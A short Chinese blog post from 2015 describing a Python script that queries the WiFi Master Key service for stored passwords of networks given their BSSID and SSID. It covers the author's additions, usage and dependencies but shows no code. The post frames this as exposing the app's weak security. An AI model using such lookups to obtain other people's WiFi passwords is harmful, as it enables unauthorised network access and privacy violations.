刚听说WiFi万能钥匙的时候已经接触过无线安全的东西，而且也用过神器aircrack-ng，所以对WiFi万能钥匙就没信任过，后来终于被各种讨伐。
此脚本以TheCjw的脚本为基础（博客文章：Lost and Found - WIFI万能钥匙Python查询脚本），增加了更新dhid的功能，相关原理参照了WIFI万能钥匙协议分析，虽说初学Python不过至少代码能用……
截止北京时间2015年6月22日，23点51分，脚本依然能够正常使用。使用方法，修改代码wifi.add_ssid(“aa:bb:cc:dd:ee:ff”, “SSID”)为自己/要查询的BSSID和SSID组合。
2015-06-25更新：解决了添加中文SSID时编码不一致报错的问题，统一了处理时的编码，现在支援中文SSID。

查询结果如图，这是家里附近的随机选取的几个WiFi：
要正常运行需要requests库和Crypto.Cipher库
